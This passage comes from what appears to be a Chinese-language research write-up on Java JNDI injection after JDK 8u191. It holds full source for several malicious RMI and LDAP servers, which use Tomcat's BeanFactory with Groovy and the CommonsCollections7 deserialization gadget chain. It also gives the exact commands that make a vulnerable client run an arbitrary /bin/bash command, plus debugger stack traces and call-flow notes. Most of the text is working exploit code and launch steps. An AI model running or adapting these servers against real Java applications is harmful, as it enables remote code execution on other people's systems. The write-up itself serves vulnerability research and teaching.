resourceClass * String description * String scope * String auth * boolean singleton * String factory * String factoryLocation */ ResourceRef ref = new ResourceRef ( "groovy.lang.GroovyClassLoader", null, null, null, true, "org.apache.naming.factory.BeanFactory", null ); /* * 参看org.apache.naming.factory.BeanFactory.getObjectInstance() */ ref.add( new StringRefAddr( "forceString", "any=parseClass" ) ); /* * 将来会执行groovy.lang.GroovyClassLoader.parseClass(evilcode) */ ref.add( new StringRefAddr( "any", evilcode ) ); ctx.rebind( name, ref ); System.in.read(); } } -------------------------------------------------------------------------- 相比EvilServer4,EvilServer7用groovy.lang.GroovyClassLoader.parseClass()替 换掉javax.el.ELProcessor.eval(),用Groovy脚本替换掉JavaScript脚本。二者都 依赖于org.apache.naming.factory.BeanFactory。 2.2) 测试 假设目录结构是: . | +---test1 | EvilServer7.class | tomcat-catalina-9.0.20.jar | \---test2 VulnerableClient.class tomcat-catalina-9.0.20.jar groovy-all-3.0.0-alpha-1.jar 在test1目录执行: java \ -cp "tomcat-catalina-9.0.20.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ EvilServer7 1099 any "/bin/touch /tmp/scz_is_here" 在test2目录执行: java \ -cp "tomcat-catalina-9.0.20.jar:groovy-all-3.0.0-alpha-1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ VulnerableClient any Groovy脚本要求在适当位置必须有\n,形如: -------------------------------------------------------------------------- @groovy.transform.ASTTest(phase=SEMANTIC_ANALYSIS,value={ assert Runtime.getRuntime().exec(new String[] {"/bin/sh","-c","/bin/touch /tmp/scz_is_here"}) }) def any -------------------------------------------------------------------------- 如果用exec(String[]),必须用高版本Groovy,比如groovy-all-3.0.0-alpha-1.jar。 已知groovy-all-2.3.9.jar处理exec(String[])时抛异常,只能处理exec(String)。 如果是实际攻击场景,还是用exec(String)吧,兼容性好。咱这是PoC,我更喜欢 exec(String[])。 之前我用groovy-all-2.3.9.jar处理exec(String[]),总是抛异常,一度怀疑是脚本 写得不符合Groovy语法。后来用apache-groovy-sdk-3.0.3.zip的groovysh直接测试 脚本,可以处理exec(String[])。找不到现成的groovy-all-3.0.3.jar,就用接近的 groovy-all-3.0.0-alpha-1.jar,得手。 调试VulnerableClient: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "tomcat-catalina-9.0.20.jar:groovy-all-3.0.0-alpha-1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ VulnerableClient any jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.Runtime.exec(java.lang.String[]) [1] java.lang.Runtime.exec (Runtime.java:485), pc = 0 [2] java_lang_Runtime$exec$0.call (null), pc = 19 [3] org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall (CallSiteArray.java:47), pc = 8 [4] org.codehaus.groovy.runtime.callsite.AbstractCallSite.call (AbstractCallSite.java:116), pc = 3 [5] org.codehaus.groovy.runtime.callsite.AbstractCallSite.call (AbstractCallSite.java:128), pc = 33 [6] Script1.run (Script1.groovy:1), pc = 55 [7] groovy.lang.GroovyShell.evaluate (GroovyShell.java:455), pc = 7 [8] groovy.lang.GroovyShell.evaluate (GroovyShell.java:493), pc = 45 [9] groovy.lang.GroovyShell.evaluate (GroovyShell.java:464), pc = 8 [10] groovy.lang.GroovyShell$evaluate.call (null), pc = 19 [11] org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall (CallSiteArray.java:47), pc = 8 [12] org.codehaus.groovy.runtime.callsite.AbstractCallSite.call (AbstractCallSite.java:116), pc = 3 [13] org.codehaus.groovy.runtime.callsite.AbstractCallSite.call (AbstractCallSite.java:128), pc = 33 [14] org.codehaus.groovy.transform.ASTTestTransformation$1.call (ASTTestTransformation.groovy:112), pc = 1,739 [15] org.codehaus.groovy.control.CompilationUnit.compile (CompilationUnit.java:590), pc = 87 [16] groovy.lang.GroovyClassLoader.doParseClass (GroovyClassLoader.java:324), pc = 168 [17] groovy.lang.GroovyClassLoader.parseClass (GroovyClassLoader.java:294), pc = 37 [18] groovy.lang.GroovyClassLoader.parseClass (GroovyClassLoader.java:280), pc = 6 [19] groovy.lang.GroovyClassLoader.parseClass (GroovyClassLoader.java:237), pc = 24 [20] groovy.lang.GroovyClassLoader.parseClass (GroovyClassLoader.java:247), pc = 40 [21] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [22] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [23] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [24] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [25] org.apache.naming.factory.BeanFactory.getObjectInstance (BeanFactory.java:211), pc = 510 [26] javax.naming.spi.NamingManager.getObjectInstance (NamingManager.java:321), pc = 111 [27] com.sun.jndi.rmi.registry.RegistryContext.decodeObject (RegistryContext.java:499), pc = 97 [28] com.sun.jndi.rmi.registry.RegistryContext.lookup (RegistryContext.java:138), pc = 75 [29] com.sun.jndi.rmi.registry.RegistryContext.lookup (RegistryContext.java:142), pc = 9 [30] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6 [31] VulnerableClient.main (VulnerableClient.java:12), pc = 14 ☆ 8u191之后的JNDI注入(LDAP) 参[45]。这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在 ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。 此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要 求。 参[74],后面的PoC用到了如下库: unboundid-ldapsdk-3.1.1.jar commons-collections-3.1.jar 1) EvilLDAPServer.java 参[45],这就是: https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java 我按自己的编程习惯稍做修改,如果Gadget链有变,改getObject()即可。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import java.net.*; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class EvilLDAPServer { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } /* * com.sun.jndi.ldap.Obj.serializeObject */ private static byte[] serializeObject ( Object obj ) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); return bos.toByteArray(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { String cmd; public OperationInterceptor ( String cmd ) { this.cmd = cmd; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry( base ); try { sendResult( result, base, e ); } catch ( Exception ex ) { ex.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { e.addAttribute( "javaClassName", "foo" ); e.addAttribute( "javaSerializedData", serializeObject( getObject( this.cmd ) ) ); result.sendSearchEntry( e ); result.setResult( new LDAPResult( 0, ResultCode.SUCCESS ) ); } } private static void MiniLDAPServer ( String addr, int port, String cmd ) throws Exception { InMemoryDirectoryServerConfig conf = new InMemoryDirectoryServerConfig( "dc=evil,dc=com" ); conf.setListenerConfigs ( new InMemoryListenerConfig ( "listen", InetAddress.getByName( addr ), Integer.valueOf( port ), ServerSocketFactory.getDefault(), SocketFactory.getDefault(), ( SSLSocketFactory )SSLSocketFactory.getDefault() ) ); conf.addInMemoryOperationInterceptor( new OperationInterceptor( cmd ) ); InMemoryDirectoryServer ds = new InMemoryDirectoryServer( conf ); ds.startListening(); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); String cmd = argv[2]; MiniLDAPServer( addr, port, cmd ); } } -------------------------------------------------------------------------- 假设目录结构是: . | +---test1 | EvilLDAPServer.class | EvilLDAPServer$OperationInterceptor.class | unboundid-ldapsdk-3.1.1.jar | commons-collections-3.1.jar | \---test2 VulnerableClient.class commons-collections-3.1.jar 在test1目录执行: java \ -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar:." \ EvilLDAPServer 192.168.65.23 10388 "/bin/touch /tmp/scz_is_here" 在test2目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10388/dc=evil,dc=com \ VulnerableClient any 2) EvilServer5.java EvilLDAPServer自己实现一个恶意LDAP服务,直接操作"javaSerializedData"属性。 实际上有更容易理解的攻击方案,就用标准LDAP服务,只不过绑定恶意Object,背后 的原理跟EvilLDAPServer一样。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer5.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import javax.naming.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; public class EvilServer5 { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } public static void main ( String[] argv ) throws Exception { String name = argv[0]; String cmd = argv[1]; Object obj = getObject( cmd ); Context ctx = new InitialContext(); ctx.rebind( name, obj ); System.in.read(); } } -------------------------------------------------------------------------- 用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于 "javaSerializedData"属性中,lookup()则对"javaSerializedData"属性的值进行 反序列化,就这么设计的。所以像EvilServer5.java这样编程,entry中天然会出现 "javaSerializedData"属性,不需要奇技淫巧。 即使用javax.naming.directory.InitialDirContext,且ctx.rebind()时第三形参指 定"javaSerializedData"属性,将来也会在com.sun.jndi.ldap.Obj.encodeObject() 中用rebind()第二形参的序列化数据覆盖之。 不过,神奇的是,我碰上过这个错误提示: More than one value has been provided for the single-valued attribute: javaSerializedData 动态调试发现有两个"javaSerializedData"属性出现,分别对应rebind()第二、三形 参。正是调试该错误时发现com.sun.jndi.ldap.Obj.encodeObject(),从而找到 EvilServer5的最简实现方式。可惜当时在调试分析的中间阶段,没有保留那个出错 的测试用例,待我搞清楚来龙去脉后,再也无法复现同样的错误场景,遗憾。 2.0) 测试 假设目录结构是: . | +---test0 | jndi.ldif | ldap-server.jar | +---test1 | EvilServer5.class | commons-collections-3.1.jar | \---test2 VulnerableClient.class commons-collections-3.1.jar 在test0目录执行: java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif 在test1目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer5 cn=any "/bin/touch /tmp/scz_is_here" 在test2目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ VulnerableClient cn=any 2.1) 调试ctx.rebind() 调试EvilServer5: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer5 cn=any "/bin/touch /tmp/scz_is_here" jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in com.sun.jndi.ldap.Obj.encodeObject stop at com.sun.jndi.ldap.Obj:173 [1] com.sun.jndi.ldap.Obj.encodeObject (Obj.java:173), pc = 271 [2] com.sun.jndi.ldap.Obj.determineBindAttrs (Obj.java:597), pc = 181 [3] com.sun.jndi.ldap.LdapCtx.c_bind (LdapCtx.java:411), pc = 45 [4] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:500), pc = 39 [5] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:464), pc = 5 [6] com.sun.jndi.toolkit.ctx.ComponentContext.p_rebind (ComponentContext.java:631), pc = 62 [7] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:223), pc = 29 [8] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:214), pc = 10 [9] javax.naming.InitialContext.rebind (InitialContext.java:433), pc = 7 [10] EvilServer5.main (EvilServer5.java:92), pc = 26 2.1.1) 简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java -------------------------------------------------------------------------- InitialContext.rebind // 8u232 LdapCtx.c_rebind LdapCtx.c_rebind // LdapCtx:464 LdapCtx.c_bind // LdapCtx:500 Obj.determineBindAttrs // LdapCtx:411 Obj.encodeObject // Obj:597 // convert the supplied object into LDAP attributes attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],serializeObject(obj))) // Obj:173 // 设置"javaSerializedData"属性 attrs = addRdnAttributes(...) // LdapCtx:416 answer = clnt.add(entry, reqCtls) // LdapCtx:419 // com.sun.jndi.ldap.LdapClient.add() -------------------------------------------------------------------------- 如果ctx.rebind()碰上如下错误提示: a) More than one value has been provided for the single-valued attribute: javaSerializedData b) can only bind Referenceable, Serializable, DirContext 动态调试这个函数: com.sun.jndi.ldap.Obj.encodeObject() 2.1.2) 相关源码 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java -------------------------------------------------------------------------- /* * com.sun.jndi.ldap.Obj.encodeObject */ /** * Encode an object in LDAP attributes. * Supports binding Referenceable or Reference, Serializable, * and DirContext. * * If the object supports the Referenceable interface then encode * the reference to the object. See encodeReference() for details. *

* If the object is serializable, it is stored as follows: * javaClassName * value: Object.getClass(); * javaSerializedData * value: serialized form of Object (in binary form). * javaTypeName * value: getTypeNames(Object.getClass()); */ private static Attributes encodeObject(char separator, Object obj, Attributes attrs, Attribute objectClass, boolean cloned) throws NamingException { boolean structural = (objectClass.size() == 0 || (objectClass.size() == 1 && objectClass.contains("top"))); if (structural) { objectClass.add(JAVA_OBJECT_CLASSES[STRUCTURAL]); } // References if (obj instanceof Referenceable) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]); if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); return (encodeReference(separator, ((Referenceable)obj).getReference(), attrs, obj)); } else if (obj instanceof Reference) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]); if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); return (encodeReference(separator, (Reference)obj, attrs, null)); // Serializable Object } else if (obj instanceof java.io.Serializable) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); if (!(objectClass.contains(JAVA_OBJECT_CLASSES[MAR_OBJECT]) || objectClass.contains(JAVA_OBJECT_CLASSES_LOWER[MAR_OBJECT]))) { objectClass.add(JAVA_OBJECT_CLASSES[SER_OBJECT]); } if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); /* * 173行,设置"javaSerializedData"属性 */ attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA], serializeObject(obj))); if (attrs.get(JAVA_ATTRIBUTES[CLASSNAME]) == null) { attrs.put(JAVA_ATTRIBUTES[CLASSNAME], obj.getClass().getName()); } if (attrs.get(JAVA_ATTRIBUTES[TYPENAME]) == null) { Attribute tAttr = LdapCtxFactory.createTypeNameAttr(obj.getClass()); if (tAttr != null) { attrs.put(tAttr); } } // DirContext Object } else if (obj instanceof DirContext) { // do nothing } else { /* * 190行 */ throw new IllegalArgumentException( "can only bind Referenceable, Serializable, DirContext"); } // System.err.println(attrs); return attrs; } -------------------------------------------------------------------------- 2.2) 调试ctx.lookup() 调试VulnerableClient: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ VulnerableClient cn=any jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.Runtime.exec(java.lang.String[]) [1] java.lang.Runtime.exec (Runtime.java:485), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30 [7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12 [8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18 [9] java.util.AbstractMap.equals (AbstractMap.java:495), pc = 118 [10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12 [11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,241), pc = 55 [12] java.util.Hashtable.readObject (Hashtable.java:1,215), pc = 228 [13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [16] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [22] com.sun.jndi.ldap.Obj.deserializeObject (Obj.java:531), pc = 38 [23] com.sun.jndi.ldap.Obj.decodeObject (Obj.java:239), pc = 52 [24] com.sun.jndi.ldap.LdapCtx.c_lookup (LdapCtx.java:1,051), pc = 164 [25] com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup (ComponentContext.java:542), pc = 81 [26] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:177), pc = 26 [27] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:166), pc = 9 [28] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6 [29] VulnerableClient.main (VulnerableClient.java:12), pc = 14 2.2.1) 简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java -------------------------------------------------------------------------- InitialContext.lookup // 8u232 LdapCtx.c_lookup // ComponentContext:542 LdapResult answer = doSearchOnce() // LdapCtx:1027 // 向LDAP Server查询 attrs = entry.attributes // LdapCtx:1047 // 取entry的所有属性 if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) // LdapCtx:1049 // 检查entry的"javaClassName"属性 // 本例中是"java.util.Hashtable" Obj.decodeObject // LdapCtx:1051 attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA]) // Obj:237 // 取"javaSerializedData"属性 Obj.deserializeObject // Obj:239 // 对byte[]进行反序列化 ObjectInputStream.readObject // Obj:531 Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec -------------------------------------------------------------------------- 这种攻击方案相当于受害者调ObjectInputStream.readObject()反序列化攻击者可控 数据,没有缺省过滤器。此时,只要求受害者一侧有Gadget链依赖库,没有其他限制。 3) EvilServer6.java 参[39],Alvaro Munoz在议题中给了点代码片断: -------------------------------------------------------------------------- System.out.println("Poisoning LDAP user"); BasicAttribute mod1 = new BasicAttribute("javaCodebase",attackerURL)); BasicAttribute mod2 = new BasicAttribute("javaClassName","DeserPayload")); BasicAttribute mod3 = new BasicAttribute("javaSerializedData", serializedBytes)); ModificationItem[] mods = new ModificationItem[3]; mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods); -------------------------------------------------------------------------- 他调用的是: javax.naming.directory.InitialDirContext.modifyAttributes(String,ModificationItem[]) 我觉得他绕了大弯路,完全没必要,EvilServer5.java就是最简形式。不过我好奇心 很重,基于他这个片断写了EvilServer6.java。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer6.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import javax.naming.directory.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; public class EvilServer6 { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } /* * com.sun.jndi.ldap.Obj.serializeObject */ private static byte[] serializeObject ( Object obj ) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); return bos.toByteArray(); } public static void main ( String[] argv ) throws Exception { String name = argv[0]; String cmd = argv[1]; Object obj = getObject( cmd ); String sth = ""; Attribute attr = new BasicAttribute( "javaSerializedData", serializeObject( obj ) ); ModificationItem[] mods = new ModificationItem[1]; mods[0] = new ModificationItem( DirContext.REPLACE_ATTRIBUTE, attr ); DirContext ctx = new InitialDirContext(); /* * com.sun.jndi.ldap.Obj.encodeObject(Obj.java:190) * * can only bind Referenceable, Serializable, DirContext */ ctx.rebind( name, sth, null ); ctx.modifyAttributes( name, mods ); System.in.read(); } } -------------------------------------------------------------------------- EvilServer6的网络通信比EvilServer5多,modifyAttributes()会产生新的网络通信。 假设目录结构是: . | +---test0 | jndi.ldif | ldap-server.jar | +---test1 | EvilServer6.class | commons-collections-3.1.jar | \---test2 VulnerableClient.class commons-collections-3.1.jar 在test0目录执行: java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif 在test1目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer6 cn=any "/bin/touch /tmp/scz_is_here" 在test2目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ VulnerableClient cn=any ☆ JNDI+DNS 1) JNDIDNSClient.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g JNDIDNSClient.java */ import javax.naming.directory.*; public class JNDIDNSClient { public static void main ( String[] argv ) throws Exception { String FQDN = argv[0]; DirContext ctx = new InitialDirContext(); Attributes attr = ctx.getAttributes ( FQDN, new String[] { "A" } ); System.out.println( attr ); } } -------------------------------------------------------------------------- java \ -Djava.naming.factory.initial=com.sun.jndi.dns.DnsContextFactory \ -Djava.naming.provider.url=dns://114.114.114.114 \ JNDIDNSClient "www.baidu.com" {a=A: 182.61.200.6, 182.61.200.7} ☆ 参考资源 [17] Java Unmarshaller Security Turning your data into code execution - Moritz Bechler [2017-05-22] https://github.com/mbechler/marshalsec https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true git clone https://github.com/mbechler/marshalsec.git [39] A Journey From JNDI LDAP Manipulation To RCE - Alvaro Munoz, Oleksandr Mirosh [2016-08-02] https://www.blackhat.com/us-16/briefings.html https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf (看wp版本) BlackHat 2016回顾之JNDI注入简单解析 - [2016-08-19] https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/ New Headaches: How The Pawn Storm Zero-Day Evaded Java's Click-to-Play Protection - Jack Tang [2015-10-19] https://blog.trendmicro.com/trendlabs-security-intelligence/new-headaches-how-the-pawn-storm-zero-day-evaded-javas-click-to-play-protection/ [44] The JNDI Tutorial https://docs.oracle.com/javase/jndi/tutorial/ https://docs.oracle.com/javase/jndi/tutorial/TOC.html Storing Objects in the Directory https://docs.oracle.com/javase/jndi/tutorial/objects/storing/index.html Serializable Objects https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/SerObj.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/SerObjWithCodebase.java (有一段"Specifying a Codebase") Referenceable Objects and References https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html Objects with 